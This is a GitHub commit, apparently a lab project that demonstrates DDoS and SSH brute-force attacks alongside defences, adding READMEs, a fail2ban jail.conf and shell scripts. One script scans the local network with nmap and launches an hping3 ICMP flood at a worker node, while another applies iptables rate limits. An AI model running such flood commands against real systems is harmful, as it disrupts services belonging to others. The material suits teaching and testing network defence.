PanagiotisKlironomos
4 years ago
committed by
GitHub
18 changed files with 1352 additions and 0 deletions
@ -0,0 +1,17 @@ |
|||||
|
DDos_Worker_Node |
||||
|
|
||||
|
|
||||
|
|
||||
|
[![asciicast](https://asciinema.org/a/385070.svg)](https://asciinema.org/a/385070) |
||||
|
|
||||
|
|
||||
|
|
||||
|
|
||||
|
|
||||
|
|
||||
|
DDos_Master_Node |
||||
|
|
||||
|
|
||||
|
|
||||
|
|
||||
|
[![asciicast](https://asciinema.org/a/385069.svg)](https://asciinema.org/a/385069) |
@ -0,0 +1,15 @@ |
|||||
|
#update and upgrade the master node |
||||
|
# so we can install hping3 |
||||
|
sudo apt update |
||||
|
sudo apt upgrade -y |
||||
|
sudo apt install hping3 -y |
||||
|
#extracting the network information with ifconfig and inet commands |
||||
|
#and make it usable for the nmap command (etc. 192.168.1.*) |
||||
|
network=$(ifconfig | grep inet | sed -n 1p | awk "{print \$2}" | cut -f 1-3 -d "." | sed 's/$/.*/') |
||||
|
clear |
||||
|
echo "Swarm network is " $network |
||||
|
# scanning network with nmap and extracting worker_1 IP |
||||
|
worker1IP=$(nmap -sP $network | grep worker_1 | awk '{print $NF}' | tr -d '()') |
||||
|
# Ddos attack to worker_1 with syn flood at port 80 and icmp protocol |
||||
|
echo "Starting DDos attack to worker 1 with the IP address: " $worker1IP |
||||
|
sudo hping3 -p 80 --flood --icmp $worker1IP |
@ -0,0 +1,30 @@ |
|||||
|
#update and upgrade the master node |
||||
|
# so we can install tcpdump |
||||
|
sudo apt update |
||||
|
sudo apt upgrade -y |
||||
|
sudo apt install tcpdump -y |
||||
|
#extracting worker1IP with ifconfig and inet commands |
||||
|
worker1IP=$(ifconfig | grep inet | sed -n 1p | awk "{print \$2}" ) |
||||
|
clear |
||||
|
# reseting IP tables from past configurations |
||||
|
sudo iptables -F |
||||
|
# Listening to packets with tcpdump for 5 seconds |
||||
|
# We listen to ICMP replies so we can listen after the firewall |
||||
|
echo "Listening to ICMP replies from worker1 for 2 seconds" |
||||
|
sleep 2s |
||||
|
sudo timeout 2s tcpdump -i eth0 icmp and src $worker1IP |
||||
|
sleep 2s |
||||
|
#Applying Ip Tables Rules |
||||
|
# We are setting a limit to icmp incoming packets to 1 per second |
||||
|
echo "Applying Ip Tables Rules" |
||||
|
sleep 2s |
||||
|
sudo iptables -N icmp_flood |
||||
|
sudo iptables -A INPUT -p icmp -j icmp_flood |
||||
|
sudo iptables -A icmp_flood -m limit --limit 1/s --limit-burst 3 -j RETURN |
||||
|
sudo iptables -A icmp_flood -j DROP |
||||
|
# Listening to packets with tcpdump for 5 seconds |
||||
|
# We listen to ICMP replies so we can listen after the firewall |
||||
|
echo "Listening to ICMP replies from worker1 for 5 seconds" |
||||
|
sleep 2s |
||||
|
sudo timeout 5s tcpdump -i eth0 icmp and src $worker1IP |
||||
|
echo "Spot any difference?" |
@ -0,0 +1,16 @@ |
|||||
|
Ssh_Brute_Master_Node |
||||
|
|
||||
|
[![asciicast](https://asciinema.org/a/385074.svg)](https://asciinema.org/a/385074) |
||||
|
|
||||
|
|
||||
|
|
||||
|
Ssh_Brute_Worker_Node |
||||
|
|
||||
|
[![asciicast](https://asciinema.org/a/385075.svg)](https://asciinema.org/a/385075) |
||||
|
|
||||
|
|
||||
|
|
||||
|
|
||||
|
Ssh_KeyEnable_Master_Node |
||||
|
|
||||
|
[![asciicast](https://asciinema.org/a/385077.svg)](https://asciinema.org/a/385077) |
@ -0,0 +1,893 @@ |
|||||
|
# |
||||
|
# WARNING: heavily refactored in 0.9.0 release. Please review and |
||||
|
# customize settings for your setup. |
||||
|
# |
||||
|
# Changes: in most of the cases you should not modify this |
||||
|
# file, but provide customizations in jail.local file, |
||||
|
# or separate .conf files under jail.d/ directory, e.g.: |
||||
|
# |
||||
|
# HOW TO ACTIVATE JAILS: |
||||
|
# |
||||
|
# YOU SHOULD NOT MODIFY THIS FILE. |
||||
|
# |
||||
|
# It will probably be overwritten or improved in a distribution update. |
||||
|
# |
||||
|
# Provide customizations in a jail.local file or a jail.d/customisation.local. |
||||
|
# For example to change the default bantime for all jails and to enable the |
||||
|
# ssh-iptables jail the following (uncommented) would appear in the .local file. |
||||
|
# See man 5 jail.conf for details. |
||||
|
# |
||||
|
# [DEFAULT] |
||||
|
# bantime = 1h |
||||
|
# |
||||
|
# [sshd] |
||||
|
# enabled = true |
||||
|
# |
||||
|
# See jail.conf(5) man page for more information |
||||
|
|
||||
|
|
||||
|
|
||||
|
# Comments: use '#' for comment lines and ';' (following a space) for inline comments |
||||
|
|
||||
|
|
||||
|
[INCLUDES] |
||||
|
|
||||
|
#before = paths-distro.conf |
||||
|
before = paths-debian.conf |
||||
|
|
||||
|
# The DEFAULT allows a global definition of the options. They can be overridden |
||||
|
# in each jail afterwards. |
||||
|
|
||||
|
[DEFAULT] |
||||
|
|
||||
|
# |
||||
|
# MISCELLANEOUS OPTIONS |
||||
|
# |
||||
|
|
||||
|
# "ignorself" specifies whether the local resp. own IP addresses should be ignored |
||||
|
# (default is true). Fail2ban will not ban a host which matches such addresses. |
||||
|
#ignorself = true |
||||
|
|
||||
|
# "ignoreip" can be a list of IP addresses, CIDR masks or DNS hosts. Fail2ban |
||||
|
# will not ban a host which matches an address in this list. Several addresses |
||||
|
# can be defined using space (and/or comma) separator. |
||||
|
#ignoreip = 127.0.0.1/8 ::1 172.19.0.3 |
||||
|
|
||||
|
# External command that will take an tagged arguments to ignore, e.g. <ip>, |
||||
|
# and return true if the IP is to be ignored. False otherwise. |
||||
|
# |
||||
|
# ignorecommand = /path/to/command <ip> |
||||
|
ignorecommand = |
||||
|
|
||||
|
# "bantime" is the number of seconds that a host is banned. |
||||
|
bantime = 1m |
||||
|
|
||||
|
# A host is banned if it has generated "maxretry" during the last "findtime" |
||||
|
# seconds. |
||||
|
findtime = 10m |
||||
|
|
||||
|
# "maxretry" is the number of failures before a host get banned. |
||||
|
maxretry = 3 |
||||
|
|
||||
|
# "backend" specifies the backend used to get files modification. |
||||
|
# Available options are "pyinotify", "gamin", "polling", "systemd" and "auto". |
||||
|
# This option can be overridden in each jail as well. |
||||
|
# |
||||
|
# pyinotify: requires pyinotify (a file alteration monitor) to be installed. |
||||
|
# If pyinotify is not installed, Fail2ban will use auto. |
||||
|
# gamin: requires Gamin (a file alteration monitor) to be installed. |
||||
|
# If Gamin is not installed, Fail2ban will use auto. |
||||
|
# polling: uses a polling algorithm which does not require external libraries. |
||||
|
# systemd: uses systemd python library to access the systemd journal. |
||||
|
# Specifying "logpath" is not valid for this backend. |
||||
|
# See "journalmatch" in the jails associated filter config |
||||
|
# auto: will try to use the following backends, in order: |
||||
|
# pyinotify, gamin, polling. |
||||
|
# |
||||
|
# Note: if systemd backend is chosen as the default but you enable a jail |
||||
|
# for which logs are present only in its own log files, specify some other |
||||
|
# backend for that jail (e.g. polling) and provide empty value for |
||||
|
# journalmatch. See https://github.com/fail2ban/fail2ban/issues/959#issuecomment-74901200 |
||||
|
backend = auto |
||||
|
|
||||
|
# "usedns" specifies if jails should trust hostnames in logs, |
||||
|
# warn when DNS lookups are performed, or ignore all hostnames in logs |
||||
|
# |
||||
|
# yes: if a hostname is encountered, a DNS lookup will be performed. |
||||
|
# warn: if a hostname is encountered, a DNS lookup will be performed, |
||||
|
# but it will be logged as a warning. |
||||
|
# no: if a hostname is encountered, will not be used for banning, |
||||
|
# but it will be logged as info. |
||||
|
# raw: use raw value (no hostname), allow use it for no-host filters/actions (example user) |
||||
|
usedns = warn |
||||
|
|
||||
|
# "logencoding" specifies the encoding of the log files handled by the jail |
||||
|
# This is used to decode the lines from the log file. |
||||
|
# Typical examples: "ascii", "utf-8" |
||||
|
# |
||||
|
# auto: will use the system locale setting |
||||
|
logencoding = auto |
||||
|
|
||||
|
# "enabled" enables the jails. |
||||
|
# By default all jails are disabled, and it should stay this way. |
||||
|
# Enable only relevant to your setup jails in your .local or jail.d/*.conf |
||||
|
# |
||||
|
# true: jail will be enabled and log files will get monitored for changes |
||||
|
# false: jail is not enabled |
||||
|
enabled = false |
||||
|
|
||||
|
|
||||
|
# "mode" defines the mode of the filter (see corresponding filter implementation for more info). |
||||
|
mode = ddos |
||||
|
|
||||
|
# "filter" defines the filter to use by the jail. |
||||
|
# By default jails have names matching their filter name |
||||
|
# |
||||
|
filter = %(__name__)s[mode=%(mode)s] |
||||
|
|
||||
|
|
||||
|
# |
||||
|
# ACTIONS |
||||
|
# |
||||
|
|
||||
|
# Some options used for actions |
||||
|
|
||||
|
# Destination email address used solely for the interpolations in |
||||
|
# jail.{conf,local,d/*} configuration files. |
||||
|
destemail = root@localhost |
||||
|
|
||||
|
# Sender email address used solely for some actions |
||||
|
sender = root@<fq-hostname> |
||||
|
|
||||
|
# E-mail action. Since 0.8.1 Fail2Ban uses sendmail MTA for the |
||||
|
# mailing. Change mta configuration parameter to mail if you want to |
||||
|
# revert to conventional 'mail'. |
||||
|
mta = sendmail |
||||
|
|
||||
|
# Default protocol |
||||
|
protocol = tcp |
||||
|
|
||||
|
# Specify chain where jumps would need to be added in ban-actions expecting parameter chain |
||||
|
chain = <known/chain> |
||||
|
|
||||
|
# Ports to be banned |
||||
|
# Usually should be overridden in a particular jail |
||||
|
port = 0:65535 |
||||
|
|
||||
|
# Format of user-agent https://tools.ietf.org/html/rfc7231#section-5.5.3 |
||||
|
fail2ban_agent = Fail2Ban/%(fail2ban_version)s |
||||
|
|
||||
|
# |
||||
|
# Action shortcuts. To be used to define action parameter |
||||
|
|
||||
|
# Default banning action (e.g. iptables, iptables-new, |
||||
|
# iptables-multiport, shorewall, etc) It is used to define |
||||
|
# action_* variables. Can be overridden globally or per |
||||
|
# section within jail.local file |
||||
|
banaction = iptables-multiport |
||||
|
banaction_allports = iptables-allports |
||||
|
|
||||
|
# The simplest action to take: ban only |
||||
|
action_ = %(banaction)s[name=%(__name__)s, bantime="%(bantime)s", port="%(port)s", protocol="%(protocol)s", chain="%(chain)s"] |
||||
|
|
||||
|
# ban & send an e-mail with whois report to the destemail. |
||||
|
action_mw = %(banaction)s[name=%(__name__)s, bantime="%(bantime)s", port="%(port)s", protocol="%(protocol)s", chain="%(chain)s"] |
||||
|
%(mta)s-whois[name=%(__name__)s, sender="%(sender)s", dest="%(destemail)s", protocol="%(protocol)s", chain="%(chain)s"] |
||||
|
|
||||
|
# ban & send an e-mail with whois report and relevant log lines |
||||
|
# to the destemail. |
||||
|
action_mwl = %(banaction)s[name=%(__name__)s, bantime="%(bantime)s", port="%(port)s", protocol="%(protocol)s", chain="%(chain)s"] |
||||
|
%(mta)s-whois-lines[name=%(__name__)s, sender="%(sender)s", dest="%(destemail)s", logpath=%(logpath)s, chain="%(chain)s"] |
||||
|
|
||||
|
# See the IMPORTANT note in action.d/xarf-login-attack for when to use this action |
||||
|
# |
||||
|
# ban & send a xarf e-mail to abuse contact of IP address and include relevant log lines |
||||
|
# to the destemail. |
||||
|
action_xarf = %(banaction)s[name=%(__name__)s, bantime="%(bantime)s", port="%(port)s", protocol="%(protocol)s", chain="%(chain)s"] |
||||
|
xarf-login-attack[service=%(__name__)s, sender="%(sender)s", logpath=%(logpath)s, port="%(port)s"] |
||||
|
|
||||
|
# ban IP on CloudFlare & send an e-mail with whois report and relevant log lines |
||||
|
# to the destemail. |
||||
|
action_cf_mwl = cloudflare[cfuser="%(cfemail)s", cftoken="%(cfapikey)s"] |
||||
|
%(mta)s-whois-lines[name=%(__name__)s, sender="%(sender)s", dest="%(destemail)s", logpath=%(logpath)s, chain="%(chain)s"] |
||||
|
|
||||
|
# Report block via blocklist.de fail2ban reporting service API |
||||
|
# |
||||
|
# See the IMPORTANT note in action.d/blocklist_de.conf for when to use this action. |
||||
|
# Specify expected parameters in file action.d/blocklist_de.local or if the interpolation |
||||
|
# `action_blocklist_de` used for the action, set value of `blocklist_de_apikey` |
||||
|
# in your `jail.local` globally (section [DEFAULT]) or per specific jail section (resp. in |
||||
|
# corresponding jail.d/my-jail.local file). |
||||
|
# |
||||
|
action_blocklist_de = blocklist_de[email="%(sender)s", service=%(filter)s, apikey="%(blocklist_de_apikey)s", agent="%(fail2ban_agent)s"] |
||||
|
|
||||
|
# Report ban via badips.com, and use as blacklist |
||||
|
# |
||||
|
# See BadIPsAction docstring in config/action.d/badips.py for |
||||
|
# documentation for this action. |
||||
|
# |
||||
|
# NOTE: This action relies on banaction being present on start and therefore |
||||
|
# should be last action defined for a jail. |
||||
|
# |
||||
|
action_badips = badips.py[category="%(__name__)s", banaction="%(banaction)s", agent="%(fail2ban_agent)s"] |
||||
|
# |
||||
|
# Report ban via badips.com (uses action.d/badips.conf for reporting only) |
||||
|
# |
||||
|
action_badips_report = badips[category="%(__name__)s", agent="%(fail2ban_agent)s"] |
||||
|
|
||||
|
# Report ban via abuseipdb.com. |
||||
|
# |
||||
|
# See action.d/abuseipdb.conf for usage example and details. |
||||
|
# |
||||
|
action_abuseipdb = abuseipdb |
||||
|
|
||||
|
# Choose default action. To change, just override value of 'action' with the |
||||
|
# interpolation to the chosen action shortcut (e.g. action_mw, action_mwl, etc) in jail.local |
||||
|
# globally (section [DEFAULT]) or per specific section |
||||
|
action = %(action_)s |
||||
|
|
||||
|
|
||||
|
# |
||||
|
# JAILS |
||||
|
# |
||||
|
|
||||
|
# |
||||
|
# SSH servers |
||||
|
# |
||||
|
|
||||
|
[sshd] |
||||
|
enabled = true |
||||
|
|
||||
|
# To use more aggressive sshd modes set filter parameter "mode" in jail.local: |
||||
|
# normal (default), ddos, extra or aggressive (combines all). |
||||
|
# See "tests/files/logs/sshd" or "filter.d/sshd.conf" for usage example and details. |
||||
|
#mode = ddos |
||||
|
banaction = iptables-allports |
||||
|
port = 26522 |
||||
|
filter = sshd |
||||
|
logpath = /var/log/auth.log |
||||
|
backend = %(sshd_backend)s |
||||
|
|
||||
|
|
||||
|
[dropbear] |
||||
|
|
||||
|
port = ssh |
||||
|
logpath = %(dropbear_log)s |
||||
|
backend = %(dropbear_backend)s |
||||
|
|
||||
|
|
||||
|
[selinux-ssh] |
||||
|
|
||||
|
port = ssh |
||||
|
logpath = %(auditd_log)s |
||||
|
|
||||
|
|
||||
|
# |
||||
|
# HTTP servers |
||||
|
# |
||||
|
|
||||
|
[apache-auth] |
||||
|
|
||||
|
port = http,https |
||||
|
logpath = %(apache_error_log)s |
||||
|
|
||||
|
|
||||
|
[apache-badbots] |
||||
|
# Ban hosts which agent identifies spammer robots crawling the web |
||||
|
# for email addresses. The mail outputs are buffered. |
||||
|
port = http,https |
||||
|
logpath = %(apache_access_log)s |
||||
|
bantime = 48h |
||||
|
maxretry = 1 |
||||
|
|
||||
|
|
||||
|
[apache-noscript] |
||||
|
|
||||
|
port = http,https |
||||
|
logpath = %(apache_error_log)s |
||||
|
|
||||
|
|
||||
|
[apache-overflows] |
||||
|
|
||||
|
port = http,https |
||||
|
logpath = %(apache_error_log)s |
||||
|
maxretry = 2 |
||||
|
|
||||
|
|
||||
|
[apache-nohome] |
||||
|
|
||||
|
port = http,https |
||||
|
logpath = %(apache_error_log)s |
||||
|
maxretry = 2 |
||||
|
|
||||
|
|
||||
|
[apache-botsearch] |
||||
|
|
||||
|
port = http,https |
||||
|
logpath = %(apache_error_log)s |
||||
|
maxretry = 2 |
||||
|
|
||||
|
|
||||
|
[apache-fakegooglebot] |
||||
|
|
||||
|
port = http,https |
||||
|
logpath = %(apache_access_log)s |
||||
|
maxretry = 1 |
||||
|
ignorecommand = %(ignorecommands_dir)s/apache-fakegooglebot <ip> |
||||
|
|
||||
|
|
||||
|
[apache-modsecurity] |
||||
|
|
||||
|
port = http,https |
||||
|
logpath = %(apache_error_log)s |
||||
|
maxretry = 2 |
||||
|
|
||||
|
|
||||
|
[apache-shellshock] |
||||
|
|
||||
|
port = http,https |
||||
|
logpath = %(apache_error_log)s |
||||
|
maxretry = 1 |
||||
|
|
||||
|
|
||||
|
[openhab-auth] |
||||
|
|
||||
|
filter = openhab |
||||
|
action = iptables-allports[name=NoAuthFailures] |
||||
|
logpath = /opt/openhab/logs/request.log |
||||
|
|
||||
|
|
||||
|
[nginx-http-auth] |
||||
|
|
||||
|
port = http,https |
||||
|
logpath = %(nginx_error_log)s |
||||
|
|
||||
|
# To use 'nginx-limit-req' jail you should have `ngx_http_limit_req_module` |
||||
|
# and define `limit_req` and `limit_req_zone` as described in nginx documentation |
||||
|
# http://nginx.org/en/docs/http/ngx_http_limit_req_module.html |
||||
|
# or for example see in 'config/filter.d/nginx-limit-req.conf' |
||||
|
[nginx-limit-req] |
||||
|
port = http,https |
||||
|
logpath = %(nginx_error_log)s |
||||
|
|
||||
|
[nginx-botsearch] |
||||
|
|
||||
|
port = http,https |
||||
|
logpath = %(nginx_error_log)s |
||||
|
maxretry = 2 |
||||
|
|
||||
|
|
||||
|
# Ban attackers that try to use PHP's URL-fopen() functionality |
||||
|
# through GET/POST variables. - Experimental, with more than a year |
||||
|
# of usage in production environments. |
||||
|
|
||||
|
[php-url-fopen] |
||||
|
|
||||
|
port = http,https |
||||
|
logpath = %(nginx_access_log)s |
||||
|
%(apache_access_log)s |
||||
|
|
||||
|
|
||||
|
[suhosin] |
||||
|
|
||||
|
port = http,https |
||||
|
logpath = %(suhosin_log)s |
||||
|
|
||||
|
|
||||
|
[lighttpd-auth] |
||||
|
# Same as above for Apache's mod_auth |
||||
|
# It catches wrong authentifications |
||||
|
port = http,https |
||||
|
logpath = %(lighttpd_error_log)s |
||||
|
|
||||
|
|
||||
|
# |
||||
|
# Webmail and groupware servers |
||||
|
# |
||||
|
|
||||
|
[roundcube-auth] |
||||
|
|
||||
|
port = http,https |
||||
|
logpath = %(roundcube_errors_log)s |
||||
|
# Use following line in your jail.local if roundcube logs to journal. |
||||
|
#backend = %(syslog_backend)s |
||||
|
|
||||
|
|
||||
|
[openwebmail] |
||||
|
|
||||
|
port = http,https |
||||
|
logpath = /var/log/openwebmail.log |
||||
|
|
||||
|
|
||||
|
[horde] |
||||
|
|
||||
|
port = http,https |
||||
|
logpath = /var/log/horde/horde.log |
||||
|
|
||||
|
|
||||
|
[groupoffice] |
||||
|
|
||||
|
port = http,https |
||||
|
logpath = /home/groupoffice/log/info.log |
||||
|
|
||||
|
|
||||
|
[sogo-auth] |
||||
|
# Monitor SOGo groupware server |
||||
|
# without proxy this would be: |
||||
|
# port = 20000 |
||||
|
port = http,https |
||||
|
logpath = /var/log/sogo/sogo.log |
||||
|
|
||||
|
|
||||
|
[tine20] |
||||
|
|
||||
|
logpath = /var/log/tine20/tine20.log |
||||
|
port = http,https |
||||
|
|
||||
|
|
||||
|
# |
||||
|
# Web Applications |
||||
|
# |
||||
|
# |
||||
|
|
||||
|
[drupal-auth] |
||||
|
|
||||
|
port = http,https |
||||
|
logpath = %(syslog_daemon)s |
||||
|
backend = %(syslog_backend)s |
||||
|
|
||||
|
[guacamole] |
||||
|
|
||||
|
port = http,https |
||||
|
logpath = /var/log/tomcat*/catalina.out |
||||
|
|
||||
|
[monit] |
||||
|
#Ban clients brute-forcing the monit gui login |
||||
|
port = 2812 |
||||
|
logpath = /var/log/monit |
||||
|
|
||||
|
|
||||
|
[webmin-auth] |
||||
|
|
||||
|
port = 10000 |
||||
|
logpath = %(syslog_authpriv)s |
||||
|
backend = %(syslog_backend)s |
||||
|
|
||||
|
|
||||
|
[froxlor-auth] |
||||
|
|
||||
|
port = http,https |
||||
|
logpath = %(syslog_authpriv)s |
||||
|
backend = %(syslog_backend)s |
||||
|
|
||||
|
|
||||
|
# |
||||
|
# HTTP Proxy servers |
||||
|
# |
||||
|
# |
||||
|
|
||||
|
[squid] |
||||
|
|
||||
|
port = 80,443,3128,8080 |
||||
|
logpath = /var/log/squid/access.log |
||||
|
|
||||
|
|
||||
|
[3proxy] |
||||
|
|
||||
|
port = 3128 |
||||
|
logpath = /var/log/3proxy.log |
||||
|
|
||||
|
|
||||
|
# |
||||
|
# FTP servers |
||||
|
# |
||||
|
|
||||
|
|
||||
|
[proftpd] |
||||
|
|
||||
|
port = ftp,ftp-data,ftps,ftps-data |
||||
|
logpath = %(proftpd_log)s |
||||
|
backend = %(proftpd_backend)s |
||||
|
|
||||
|
|
||||
|
[pure-ftpd] |
||||
|
|
||||
|
port = ftp,ftp-data,ftps,ftps-data |
||||
|
logpath = %(pureftpd_log)s |
||||
|
backend = %(pureftpd_backend)s |
||||
|
|
||||
|
|
||||
|
[gssftpd] |
||||
|
|
||||
|
port = ftp,ftp-data,ftps,ftps-data |
||||
|
logpath = %(syslog_daemon)s |
||||
|
backend = %(syslog_backend)s |
||||
|
|
||||
|
|
||||
|
[wuftpd] |
||||
|
|
||||
|
port = ftp,ftp-data,ftps,ftps-data |
||||
|
logpath = %(wuftpd_log)s |
||||
|
backend = %(wuftpd_backend)s |
||||
|
|
||||
|
|
||||
|
[vsftpd] |
||||
|
# or overwrite it in jails.local to be |
||||
|
# logpath = %(syslog_authpriv)s |
||||
|
# if you want to rely on PAM failed login attempts |
||||
|
# vsftpd's failregex should match both of those formats |
||||
|
port = ftp,ftp-data,ftps,ftps-data |
||||
|
logpath = %(vsftpd_log)s |
||||
|
|
||||
|
|
||||
|
# |
||||
|
# Mail servers |
||||
|
# |
||||
|
|
||||
|
# ASSP SMTP Proxy Jail |
||||
|
[assp] |
||||
|
|
||||
|
port = smtp,465,submission |
||||
|
logpath = /root/path/to/assp/logs/maillog.txt |
||||
|
|
||||
|
|
||||
|
[courier-smtp] |
||||
|
|
||||
|
port = smtp,465,submission |
||||
|
logpath = %(syslog_mail)s |
||||
|
backend = %(syslog_backend)s |
||||
|
|
||||
|
|
||||
|
[postfix] |
||||
|
# To use another modes set filter parameter "mode" in jail.local: |
||||
|
mode = more |
||||
|
port = smtp,465,submission |
||||
|
logpath = %(postfix_log)s |
||||
|
backend = %(postfix_backend)s |
||||
|
|
||||
|
|
||||
|
[postfix-rbl] |
||||
|
|
||||
|
filter = postfix[mode=rbl] |
||||
|
port = smtp,465,submission |
||||
|
logpath = %(postfix_log)s |
||||
|
backend = %(postfix_backend)s |
||||
|
maxretry = 1 |
||||
|
|
||||
|
|
||||
|
[sendmail-auth] |
||||
|
|
||||
|
port = submission,465,smtp |
||||
|
logpath = %(syslog_mail)s |
||||
|
backend = %(syslog_backend)s |
||||
|
|
||||
|
|
||||
|
[sendmail-reject] |
||||
|
# To use more aggressive modes set filter parameter "mode" in jail.local: |
||||
|
# normal (default), extra or aggressive |
||||
|
# See "tests/files/logs/sendmail-reject" or "filter.d/sendmail-reject.conf" for usage example and details. |
||||
|
#mode = normal |
||||
|
port = smtp,465,submission |
||||
|
logpath = %(syslog_mail)s |
||||
|
backend = %(syslog_backend)s |
||||
|
|
||||
|
|
||||
|
[qmail-rbl] |
||||
|
|
||||
|
filter = qmail |
||||
|
port = smtp,465,submission |
||||
|
logpath = /service/qmail/log/main/current |
||||
|
|
||||
|
|
||||
|
# dovecot defaults to logging to the mail syslog facility |
||||
|
# but can be set by syslog_facility in the dovecot configuration. |
||||
|
[dovecot] |
||||
|
|
||||
|
port = pop3,pop3s,imap,imaps,submission,465,sieve |
||||
|
logpath = %(dovecot_log)s |
||||
|
backend = %(dovecot_backend)s |
||||
|
|
||||
|
|
||||
|
[sieve] |
||||
|
|
||||
|
port = smtp,465,submission |
||||
|
logpath = %(dovecot_log)s |
||||
|
backend = %(dovecot_backend)s |
||||
|
|
||||
|
|
||||
|
[solid-pop3d] |
||||
|
|
||||
|
port = pop3,pop3s |
||||
|
logpath = %(solidpop3d_log)s |
||||
|
|
||||
|
|
||||
|
[exim] |
||||
|
# see filter.d/exim.conf for further modes supported from filter: |
||||
|
#mode = normal |
||||
|
port = smtp,465,submission |
||||
|
logpath = %(exim_main_log)s |
||||
|
|
||||
|
|
||||
|
[exim-spam] |
||||
|
|
||||
|
port = smtp,465,submission |
||||
|
logpath = %(exim_main_log)s |
||||
|
|
||||
|
|
||||
|
[kerio] |
||||
|
|
||||
|
port = imap,smtp,imaps,465 |
||||
|
logpath = /opt/kerio/mailserver/store/logs/security.log |
||||
|
|
||||
|
|
||||
|
# |
||||
|
# Mail servers authenticators: might be used for smtp,ftp,imap servers, so |
||||
|
# all relevant ports get banned |
||||
|
# |
||||
|
|
||||
|
[courier-auth] |
||||
|
|
||||
|
port = smtp,465,submission,imap,imaps,pop3,pop3s |
||||
|
logpath = %(syslog_mail)s |
||||
|
backend = %(syslog_backend)s |
||||
|
|
||||
|
|
||||
|
[postfix-sasl] |
||||
|
|
||||
|
filter = postfix[mode=auth] |
||||
|
port = smtp,465,submission,imap,imaps,pop3,pop3s |
||||
|
# You might consider monitoring /var/log/mail.warn instead if you are |
||||
|
# running postfix since it would provide the same log lines at the |
||||
|
# "warn" level but overall at the smaller filesize. |
||||
|
logpath = %(postfix_log)s |
||||
|
backend = %(postfix_backend)s |
||||
|
|
||||
|
|
||||
|
[perdition] |
||||
|
|
||||
|
port = imap,imaps,pop3,pop3s |
||||
|
logpath = %(syslog_mail)s |
||||
|
backend = %(syslog_backend)s |
||||
|
|
||||
|
|
||||
|
[squirrelmail] |
||||
|
|
||||
|
port = smtp,465,submission,imap,imap2,imaps,pop3,pop3s,http,https,socks |
||||
|
logpath = /var/lib/squirrelmail/prefs/squirrelmail_access_log |
||||
|
|
||||
|
|
||||
|
[cyrus-imap] |
||||
|
|
||||
|
port = imap,imaps |
||||
|
logpath = %(syslog_mail)s |
||||
|
backend = %(syslog_backend)s |
||||
|
|
||||
|
|
||||
|
[uwimap-auth] |
||||
|
|
||||
|
port = imap,imaps |
||||
|
logpath = %(syslog_mail)s |
||||
|
backend = %(syslog_backend)s |
||||
|
|
||||
|
|
||||
|
# |
||||
|
# |
||||
|
# DNS servers |
||||
|
# |
||||
|
|
||||
|
|
||||
|
# !!! WARNING !!! |
||||
|
# Since UDP is connection-less protocol, spoofing of IP and imitation |
||||
|
# of illegal actions is way too simple. Thus enabling of this filter |
||||
|
# might provide an easy way for implementing a DoS against a chosen |
||||
|
# victim. See |
||||
|
# http://nion.modprobe.de/blog/archives/690-fail2ban-+-dns-fail.html |
||||
|
# Please DO NOT USE this jail unless you know what you are doing. |
||||
|
# |
||||
|
# IMPORTANT: see filter.d/named-refused for instructions to enable logging |
||||
|
# This jail blocks UDP traffic for DNS requests. |
||||
|
# [named-refused-udp] |
||||
|
# |
||||
|
# filter = named-refused |
||||
|
# port = domain,953 |
||||
|
# protocol = udp |
||||
|
# logpath = /var/log/named/security.log |
||||
|
|
||||
|
# IMPORTANT: see filter.d/named-refused for instructions to enable logging |
||||
|
# This jail blocks TCP traffic for DNS requests. |
||||
|
|
||||
|
[named-refused] |
||||
|
|
||||
|
port = domain,953 |
||||
|
logpath = /var/log/named/security.log |
||||
|
|
||||
|
|
||||
|
[nsd] |
||||
|
|
||||
|
port = 53 |
||||
|
action = %(banaction)s[name=%(__name__)s-tcp, port="%(port)s", protocol="tcp", chain="%(chain)s", actname=%(banaction)s-tcp] |
||||
|
%(banaction)s[name=%(__name__)s-udp, port="%(port)s", protocol="udp", chain="%(chain)s", actname=%(banaction)s-udp] |
||||
|
logpath = /var/log/nsd.log |
||||
|
|
||||
|
|
||||
|
# |
||||
|
# Miscellaneous |
||||
|
# |
||||
|
|
||||
|
[asterisk] |
||||
|
|
||||
|
port = 5060,5061 |
||||
|
action = %(banaction)s[name=%(__name__)s-tcp, port="%(port)s", protocol="tcp", chain="%(chain)s", actname=%(banaction)s-tcp] |
||||
|
%(banaction)s[name=%(__name__)s-udp, port="%(port)s", protocol="udp", chain="%(chain)s", actname=%(banaction)s-udp] |
||||
|
%(mta)s-whois[name=%(__name__)s, dest="%(destemail)s"] |
||||
|
logpath = /var/log/asterisk/messages |
||||
|
maxretry = 10 |
||||
|
|
||||
|
|
||||
|
[freeswitch] |
||||
|
|
||||
|
port = 5060,5061 |
||||
|
action = %(banaction)s[name=%(__name__)s-tcp, port="%(port)s", protocol="tcp", chain="%(chain)s", actname=%(banaction)s-tcp] |
||||
|
%(banaction)s[name=%(__name__)s-udp, port="%(port)s", protocol="udp", chain="%(chain)s", actname=%(banaction)s-udp] |
||||
|
%(mta)s-whois[name=%(__name__)s, dest="%(destemail)s"] |
||||
|
logpath = /var/log/freeswitch.log |
||||
|
maxretry = 10 |
||||
|
|
||||
|
|
||||
|
# To log wrong MySQL access attempts add to /etc/my.cnf in [mysqld] or |
||||
|
# equivalent section: |
||||
|
# log-warning = 2 |
||||
|
# |
||||
|
# for syslog (daemon facility) |
||||
|
# [mysqld_safe] |
||||
|
# syslog |
||||
|
# |
||||
|
# for own logfile |
||||
|
# [mysqld] |
||||
|
# log-error=/var/log/mysqld.log |
||||
|
[mysqld-auth] |
||||
|
|
||||
|
port = 3306 |
||||
|
logpath = %(mysql_log)s |
||||
|
backend = %(mysql_backend)s |
||||
|
|
||||
|
|
||||
|
# Log wrong MongoDB auth (for details see filter 'filter.d/mongodb-auth.conf') |
||||
|
[mongodb-auth] |
||||
|
# change port when running with "--shardsvr" or "--configsvr" runtime operation |
||||
|
port = 27017 |
||||
|
logpath = /var/log/mongodb/mongodb.log |
||||
|
|
||||
|
|
||||
|
# Jail for more extended banning of persistent abusers |
||||
|
# !!! WARNINGS !!! |
||||
|
# 1. Make sure that your loglevel specified in fail2ban.conf/.local |
||||
|
# is not at DEBUG level -- which might then cause fail2ban to fall into |
||||
|
# an infinite loop constantly feeding itself with non-informative lines |
||||
|
# 2. Increase dbpurgeage defined in fail2ban.conf to e.g. 648000 (7.5 days) |
||||
|
# to maintain entries for failed logins for sufficient amount of time |
||||
|
[recidive] |
||||
|
|
||||
|
logpath = /var/log/fail2ban.log |
||||
|
banaction = %(banaction_allports)s |
||||
|
bantime = 1w |
||||
|
findtime = 1d |
